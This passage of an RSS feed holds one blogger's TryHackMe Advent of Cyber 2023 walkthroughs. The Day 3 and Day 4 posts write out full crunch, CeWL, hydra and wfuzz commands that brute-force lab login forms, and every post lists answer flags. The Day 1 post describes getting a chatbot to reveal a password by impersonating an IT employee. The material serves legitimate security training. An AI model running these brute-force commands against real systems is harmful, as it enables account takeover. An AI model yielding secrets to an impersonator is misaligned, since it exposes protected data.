src="https://cdn-images-1.medium.com/max/390/1*hOCZ8-uLne8eQhyvbcaz-Q.png" /></figure><p>Then go to talk with Xmas-tree and we can get the flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*JlnQonVVJxs38IVQUjgU6Q.png" /></figure><p>Here is all task’s answers.</p><pre><strong>If the coins variable had the in-memory value in the image below, how many coins would you have in the game?</strong><br>1397772111<br><br><br><strong>What is the value of the final flag?</strong><br>THM{mchoneybell_is_the_real_star}</pre><p>This is not the story ending, there is a <strong>Easter egg </strong>inside the game which is the last question in this task.</p><pre>Van Jolly still thinks the Ghost of Christmas Past is in the game. She says she has seen it with her own eyes! She thinks the Ghost is hiding in a glitch, whatever that means. What could she have seen?</pre><p>So where is it? Well it is pretty simple, when we back to the game and talk to the shop menu again, we will find the order of menu is interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*HxzF8QhZpjzkSd6UCy_4lQ.png" /></figure><p>It is follow the hex which is 1–9 and b-d, when you want to buy a star, it will give you a “e” in the hex format in debug table.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*DyGYKLe_nO1A2yLacRl27g.png" /></figure><p>So where is “a” and “f”. We first rename ourselves and rename with all “f”, we will see something like a bomb with THM symbol on it. However this will not happen any new conversation when we talk to the NPC, so I am thinking this is not what we need to find.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*H08b_lAMfdWjf0kuQTPBhQ.png" /></figure><p>So then I try to rename with all “a”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*AOmTKYZwCWnW4yEzNDo82A.png" /></figure><p>Here we go, after we change to all “a”, there will have a new conversation with shop and the whole program crash. This should be our final Easter egg.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*nT2k3MzXCBbIF78hafrXXw.png" /></figure><p>Thanks for reading ! Hope you like this and Happy hacking !</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=233aecd75c38" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advent of Cyber 2023 (Day-5) -TryHackMe-]]></title>
            <link>https://medium.com/@OwenW_CTF/advent-of-cyber-2023-day-5-tryhackme-ee04b16abb29?source=rss-21a72499e4fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/ee04b16abb29</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[disk-operating-system]]></category>
            <category><![CDATA[advent-of-cyber-2023]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[OwenW]]></dc:creator>
            <pubDate>Wed, 06 Dec 2023 23:27:25 GMT</pubDate>
            <atom:updated>2023-12-06T23:27:25.419Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*ufFeqzxASjjvFX0-42-Agg.png" /></figure><p>Hi, it is a new day of Advent of Cyber 2023. Today, we will go through some new knowledge about DOS, also called the Disk Operating System.</p><p>The Disk Operating System was a dominant operating system during the early days of personal computing. Microsoft tweaked a DOS variant and rebranded it as MS-DOS, which later served as the groundwork for their graphical extension, the initial version of Windows OS. The fundamentals of file management, directory structures, and command syntax in DOS have stood the test of time and can be found in the command prompt and PowerShell of modern-day Windows systems.</p><p>While the likelihood of needing to work with DOS in the real world is low, exploring this unfamiliar system can still be a valuable learning opportunity. And we will discover the significance of file signatures and magic bytes in data recovery and file system analysis during the practice.</p><p>First start the machine and connect to it through the the online split-screen view. We will see a desktop on the screen and there is a “DosBox-X” icon found on the desktop to run the DOS emulator. Click the icon and run the emulator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c2NUC-E2TaiuNCvH8W-_0A.png" /></figure><p>Here are some important command when we use the DOS on windows, also, those command is useful when we use the windows cmd which is windows command line.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fm3BtAqDq4xczwTn_GWUZQ.png" /></figure><p>The first task ask for the size of the backup file, we can use dir in the C:\ directory. The file name is AC2023.BAK, it appear as “AC2023 BAK” in DOS, same as other files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_6f9JnP-ujPzh2qmhjrGqQ.png" /></figure><p>There is another file called <strong>PLAN.txt </strong>in the same directory, use TYPE command to open it. We can find some important notes from it, for example the backup tool’s name is called “BackupMaster3000”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WGsbXYEJttjhJ42GBk54Mg.png" /></figure><p>Our final goal for this task is to restore the AC2023.BAK file found in the root directory using the backup tool found in the C:\TOOLS\BACKUP directory. Navigate to this directory and run the command BUMASTER.EXE C:\AC2023.BAK to inspect the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xYvFwymSTirs8UdtJraQ7A.png" /></figure><p>The file can’t run since the file signature is wrong, so let use check the troubleshooting notes in REDME.txt in the same directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*12k4GQcIB_uL_EbKtyz7pA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*f7yV5BXI0F0TJlTBKrSkuA.png" /></figure><p>So what is file signatures? File signatures, commonly referred to as “magic bytes”, are specific byte sequences at the beginning of a file that identify or verify its content type and format. These bytes often have corresponding ASCII characters, allowing for easier human readability when inspected. The identification process helps software applications quickly determine whether a file is in a format they can handle, aiding operational functionality and security measures.</p><p>In cyber security, file signatures are crucial for identifying file types and formats. You’ll encounter them in malware analysis, incident response, network traffic inspection, web security checks, and forensics. Knowing how to work with these magic bytes can help you quickly identify malicious or suspicious activity and choose the right tools for deeper analysis.</p><p>Here is a full list of all common magic bytes.</p><p><a href="https://en.wikipedia.org/wiki/List_of_file_signatures">List of file signatures - Wikipedia</a></p><p>Here we need to make sure the magic bytes of our backup file AC2023.BAK is start with 41 43 which is AC in text. Open AC2023.BAK using the MS-DOS Editor and the command EDIT C:\AC2023.BAK. Previously, we used the TYPE command to view the contents of the file. Here is using EDIT, which will open a graphical user interface that allows you to view and edit files easily.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fwFOM6u0rp044acHZWZVVQ.png" /></figure><p>As we can see, the current bytes are set to XX. According to the troubleshooting section we&#39;ve read, BUMASTER.EXE expects the magic bytes of a file to be 41 43. These are hexadecimal values, however, so we need to convert them to their ASCII representations first which is AC.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qPu9nnIWtc3JZ7o5Xz4A0A.png" /></figure><p>After change the file, use Alt+F(Windows) or Option+C(Mac)can switch to the File icon and save the file, then use the same way to exit. After you finish those steps, you can run the command BUMASTER.EXE C:\AC2023.BAK again. Because the magic bytes are now fixed, the program should be able to restore the backup and give you the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*nKa5d1CPLPtS8pMTilV5EQ.png" /></figure><p>Here is the list of all task’s answers.</p><pre><strong>1.How large (in bytes) is the AC2023.BAK file?</strong><br>12,704<br><br><br><strong>2.What is the name of the backup program?</strong><br>BackupMaster3000<br><br><br><strong>3.What should the correct bytes be in the backup&#39;s file signature to restore the backup properly?</strong><br>41 43<br><br><br><strong>4.What is the flag after restoring the backup successfully?</strong><br>THM{0LD_5CH00L_C00L_d00D}</pre><p>Happy hacking and thank you for spend time reading this story! Hope you like it and feel free to give me feedback. :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ee04b16abb29" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advent of Cyber 2023 (Day-4) -TryHackMe-]]></title>
            <link>https://medium.com/@OwenW_CTF/advent-of-cyber-2023-day-4-tryhackme-d6efa2575d70?source=rss-21a72499e4fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/d6efa2575d70</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[brute-force]]></category>
            <category><![CDATA[web]]></category>
            <category><![CDATA[advent-of-cyber-2023]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[OwenW]]></dc:creator>
            <pubDate>Wed, 06 Dec 2023 05:45:43 GMT</pubDate>
            <atom:updated>2023-12-06T05:45:43.753Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*ufFeqzxASjjvFX0-42-Agg.png" /></figure><p>Hi, this is the walkthrough for Day-4 of Advent of Cyber 2023 in TryHackMe. It is another day talking about brute force. Let’s go to a overview of it.</p><p>As we mentioned yesterday about the brute force, creating wordlist is the most important part for each time brute forcing. This time, we need to brute force the username and password on the webpage. So we need different wordlists, one for username and one for password. However, we don’t have other rules of the password like what the password look like, we can’t try every combination of password, we need to find some information that may be the username or password. Here, when we view into a webpage, the first thing we get is the web page itself, so we use some tools to catch the word from the webpage.</p><p>Here we use CeWL. CeWL (pronounced “cool”) is a custom word list generator tool that spiders websites to create word lists based on the site’s content. Spidering, in the context of web security and penetration testing, refers to the process of automatically navigating and cataloguing a website’s content, often to retrieve the site structure, content, and other relevant details. This capability makes CeWL especially valuable to penetration testers aiming to brute-force login pages or uncover hidden directories using organisation-specific terminology.</p><p>Beyond simple wordlist generation, CeWL can also compile a list of email addresses or usernames identified in team members’ page links. Such data can then serve as potential usernames in brute-force operations.</p><p>Let’s do this into practice. Start the VM machine and start the AttackBox, here I am using my local kali VM to do the tasks. Connect to the machine and open the webpage in http://MACHINE_IP .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G8oZtkZN8oZUsf2UVzbxlA.png" /></figure><p>We are thinking that the password we want to find maybe appear on this main page, so we use cewl -d 2 -m 5 -w passwords.txt http://MACHINE_IP --with-numbers to create the <strong>password.txt</strong> as the brute force wordlist of password.</p><ul><li>The -d option allows you to set how deep CeWL should spider.</li><li>Use the -m and -x options respectively. For instance, to get words between 5 and 10 characters: cewl http://MACHINE_IP -m 5 -x 10 -w output2.txt</li><li>The --with-numbers option will append numbers to words, and using --extension allows you to append custom extensions to each word, making it useful for directory or file brute-forcing.</li></ul><p>Then we found two page that link from the web main page which is <strong>/team.php</strong> and <strong>/login.php</strong>. Here, the team page may like contains the username that we need, so we use the same way to get the wordlist of possible username from this page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jtyv-9zPpC2-SjChLoT4Rw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-nV-BU07Iy3t4XgfpIKvSA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*xgEh3mWoqEMgSGWsYt8KVw.png" /></figure><p>Now, we have both wordlist for username and password, it is time for brute forcing. Last time we use hydra, this time we use another popular tool but more work on web which called wfuzz . What is wfuzz? Wfuzz is a tool designed for brute-forcing web applications. It can be used to find resources not linked directories, servlets, scripts, etc, brute-force GET and POST parameters for checking different kinds of injections (SQL, XSS, LDAP), brute-force forms parameters (user/password) and fuzzing.</p><p>The command I use is wfuzz -c -z file,usernames.txt -z file,passwords.txt --hs &quot;Please enter the correct credentials&quot; -u http://MACHINE_IP/login.php -d &quot;username=FUZZ&amp;password=FUZ2Z&quot; .</p><ul><li>-z file,usernames.txt loads the usernames list.</li><li>-z file,passwords.txt uses the password list generated by CeWL.</li><li>--hs &quot;Please enter the correct credentials&quot; hides responses containing the string &quot;Please enter the correct credentials&quot;, which is the message displayed for wrong login attempts.</li><li>-u specifies the target URL.</li><li>-d &quot;username=FUZZ&amp;password=FUZ2Z&quot; provides the POST data format where <strong>FUZZ</strong> will be replaced by usernames and <strong>FUZ2Z</strong> by passwords.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SowtUriyDGLedkcPXH7N0g.png" /></figure><p>After we get our username and password, we can login with it into a webmail page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N0jfmag9X05JKK4TKYg7ew.png" /></figure><p>One of the mail contains the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6WTidEcSYVzoSHutXC6D7g.png" /></figure><p>Here is the answers for all the tasks.</p><pre><strong>What is the correct username and password combination? Format username:password</strong><br>isaias:Happiness<br><br><br><strong>What is the flag?</strong><br>THM{m3rrY4nt4rct1crAft$}</pre><p>Happy hacking ! Feel free to give me feedback. Thank you for your reading ! :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d6efa2575d70" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advent of Cyber 2023 (Day-3) -TryHackMe-]]></title>
            <link>https://medium.com/@OwenW_CTF/advent-of-cyber-2023-day-3-tryhackme-cbaa996858ac?source=rss-21a72499e4fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/cbaa996858ac</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[password-cracking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[brute-force]]></category>
            <category><![CDATA[advent-of-cyber-2023]]></category>
            <dc:creator><![CDATA[OwenW]]></dc:creator>
            <pubDate>Tue, 05 Dec 2023 00:51:34 GMT</pubDate>
            <atom:updated>2023-12-05T00:58:53.389Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*ufFeqzxASjjvFX0-42-Agg.png" /></figure><p>Day-3 is a new challenge about the bruteforcing. It teach a lot about basic knowledge about bruteforce and how to create a good wordlist. Let’s do a briefly overview about it.</p><p>This walkthrough is talking about brute force which is a popular and important method for password cracking. Each time the brute force need a wordlist, know how to create a good wordlist is important. Consider a passcode is 4 character which can be a digit or a uppercase English letter or a lowercase English letter. The full possible combination will have62×62×62×62 = 14,776,336 different way. Go brute force with test all possible combination is waste of time.</p><p>So It is a very important thing that is try to know the rules of the password of our goal. For example, this password is one of the user in a company, there exist another in use password is combine as “Username + Year”, we can use this rules to create specific wordlist for later bruteforce.</p><p>After know this, we move to our task in this challenge. First start the VM machine and start the attack box, also you can use your VM local, here I am using kali on my desktop. It use two tools to solve this challenge, crunch and hydra. Open the webpage with http://MACHINE_IP:8000/ in the Kali’s web browser, then you will see a 3-digits pin code checker because you will only able to enter three digits.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j7Pb40FZcVmEEtacL_gEew.png" /></figure><p>Follow the rules, we can use crunch to create the wordlist. Use crunch 3 3 0123456789ABCDEF -o 3digits.txt .</p><ul><li>3 the first number is the minimum length of the generated password.</li><li>3 the second number is the maximum length of the generated password</li><li>0123456789ABCDEF is the character set to use to generate the passwords</li><li>-o 3digits.txt saves the output to the 3digits.txt file</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*cL4CxRe06nHqXG6Cx0crIA.png" /></figure><p>Then we can use this wordlist to start our brute force. Manually trying out PIN codes is a very daunting task. Luckily, we can use an automated tool to try our generated digit combinations. One of the most solid tools for trying passwords is Hydra.</p><p>Before we start, we need to view the page’s HTML code. We can do that by right-clicking on the page and selecting “View Page Source”. You will notice that:</p><ul><li>The method is post</li><li>The URL is <a href="http://machine_ip:8000/login.php">http://MACHINE_IP:8000/login.php</a></li><li>The PIN code value is sent with the name pin</li></ul><p>So we can use this command to start the brute force, hydra -l &#39;&#39; -P 3digits.txt -f MACHINE_IP http-post-form &quot;/login.php:pin=^PASS^:Access denied&quot; -s 8000 .</p><ul><li>-l &#39;&#39; indicates that the login name is blank as the security lock only requires a password</li><li>-P 3digits.txt specifies the password file to use</li><li>-f stops Hydra after finding a working password</li><li>MACHINE_IP is the IP address of the target</li><li>http-post-form specifies the HTTP method to use</li><li>&quot;/login.php:pin=^PASS^:Access denied&quot; has three parts separated by : /login.php is the page where the PIN code is submitted,pin=^PASS^ will replace ^PASS^ with values from the password list,Access denied indicates that invalid passwords will lead to a page that contains the text “Access denied”.</li><li>-s 8000 indicates the port number on the target.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f87tPiouRcBr8E4Zz-D6rw.png" /></figure><p>The 6F5 is our pin code and we can use it to access the webpage and see the flag after use “Unlock Door” on the AC temperature control.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*joPM1GEIxOFB2iUTH1uygg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/1*tdUJzIJau4uIb44RtAJ2Xw.png" /></figure><p>Here is the answers for all tasks.</p><pre><strong>Using crunch and hydra, find the PIN code to access the control system and unlock the door. What is the flag?<br></strong>THM{pin-code-brute-force}</pre><p>If you enjoy password cracking and want to learn more, you can check this related room in TryHackMe.</p><p><a href="https://tryhackme.com/room/passwordattacks">Password Attacks</a></p><p>Happy hacking ! Hope you like this one ! :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cbaa996858ac" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advent of Cyber 2023 (Day-2) -TryHackMe-]]></title>
            <link>https://medium.com/@OwenW_CTF/advent-of-cyber-2023-day-2-tryhackme-9274317c36c1?source=rss-21a72499e4fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/9274317c36c1</guid>
            <category><![CDATA[python]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[advent-of-cyber-2023]]></category>
            <category><![CDATA[log-analysis]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[OwenW]]></dc:creator>
            <pubDate>Mon, 04 Dec 2023 05:33:14 GMT</pubDate>
            <atom:updated>2023-12-04T05:37:26.259Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*ufFeqzxASjjvFX0-42-Agg.png" /></figure><p><a href="https://tryhackme.com/room/adventofcyber2023">Advent of Cyber 2023</a></p><p>The Day-2 Advent of Cyber is talk about the log analysis with python. We will look into an excellent walkthrough about it. Those knowledge will use a lot during the general data analysis.</p><p>The walkthrough teach us how to use jupyter notebook and run python command on it. It also introduce two popular package called “pandas” and “Matplotlib”.</p><p>To finish the challenge, we first start the machine and use the online split view. A jupyter notebook will show up when you open the split view.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4j_3OWrPQlgV2nxF7EffMA.png" /></figure><p>We can create a new python file and write command to finish the tasks. First task ask for ‘How many packets were captured’, we can use value_counts() function with column we want to know (here is ‘Source’) to get the answer. Remember, all the command cell should be run after you implement new code in it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*cslbYRbSRZMP2uWg8QupBA.png" /></figure><p>Then it ask for the most frequency IP address. Here change the last line of the original command to df[‘Source’].value_counts() can get all frequency number of different IP address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*7LvTLKG5Bn3mFiXePD9p8g.png" /></figure><p>The last one is also simple, the column from ‘Source’ become ‘Protocol’, we can change the last line command to df[‘Protocol’].value_counts() and run it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*cslbYRbSRZMP2uWg8QupBA.png" /></figure><p>Here list the answer for all Day-2 challenges.</p><pre><strong>How many packets were captured (looking at the PacketNumber)?</strong><br>100<br><br><br><strong>What IP address sent the most amount of traffic during the packet capture?</strong><br>10.10.1.4<br><br><br><strong>What was the most frequent protocol?</strong><br>ICMP</pre><p>If you are interesting in log analysis but not know where to start, this TryHackMe room called “Intro to Log Analysis” can be a good guide.</p><p><a href="https://tryhackme.com/room/introtologanalysis">TryHackMe | Cyber Security Training</a></p><p>Hope you like this.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9274317c36c1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advent of Cyber 2023 (Day-1) -TryHackMe-]]></title>
            <link>https://medium.com/@OwenW_CTF/advent-of-cyber-2023-day-1-tryhackme-2d83c23d3aa1?source=rss-21a72499e4fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/2d83c23d3aa1</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[chatbots]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[OwenW]]></dc:creator>
            <pubDate>Sat, 02 Dec 2023 00:16:22 GMT</pubDate>
            <atom:updated>2023-12-02T00:16:22.484Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/adventofcyber2023">Advent of Cyber 2023</a></p><p>Hey, this is OwenW, it is new year of Advent of Cyber in TryHackMe. This year, there will still have a 24 Days long Cyber Security activity which are beginner friendly leading up to Christmas. I will follow on all the challenge and give you guys the write up. Hope you like it !</p><p>The Day 1 challenge is a easy walkthrough about chatbox. It teach a basic knowledge of how modern AI chatbox like chatgpt works and learn about prompt injection attacks and the common ways to carry them out. It give us an example we can try it by ourselves. We will go to the problem and solve them directly.</p><p>First use “Start Machine” to start a VM online, after few minutes, go to the reference link in the middle of story and we can see a chatbox online.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vCaXU2XzISyO_LhnRMKV6g.png" /><figcaption>https://LAB_WEB_URL.p.thmlabs.com/</figcaption></figure><p>We can ask the chatbox question to get the answer. The first question is ask the chatbox about the email directly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Va4uSuMW0VXZRdSm3igng.png" /></figure><p>Here is a bad example of chatbox which not ban any sensitive information. So setting rules for sensitive information is important. Next two question set a rules but not strict. The #2 ask the password for the IT server room door. If you ask the chatbox directly, it will reject answer and says only the member of IT can retrieve the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n5tPzz8cAVlvV7JBpjp1cQ.png" /></figure><p>Here to bypass the chatbox rules, you can ask for the name of each IT employees and act as one of them to get the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*XqmwESadABtju3i0M-Wfyw.png" /></figure><p>The same way to bypass the #3 question and get the answer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*dprzBRA3dGgJf1avxPYohQ.png" /></figure><p>Here I list the answers for above question.</p><pre><strong>1. What is McGreedy&#39;s personal email address? </strong><br>t.mcgreedy@antarcticrafts.thm<br><br><strong>2. What is the password for the IT server room door?</strong><br>BtY2S02<br><br><strong>3. What is the name of McGreedy&#39;s secret project?</strong><br>Purple Snow</pre><p>Hope you like this story, feel free to give me any feedback. :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2d83c23d3aa1" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>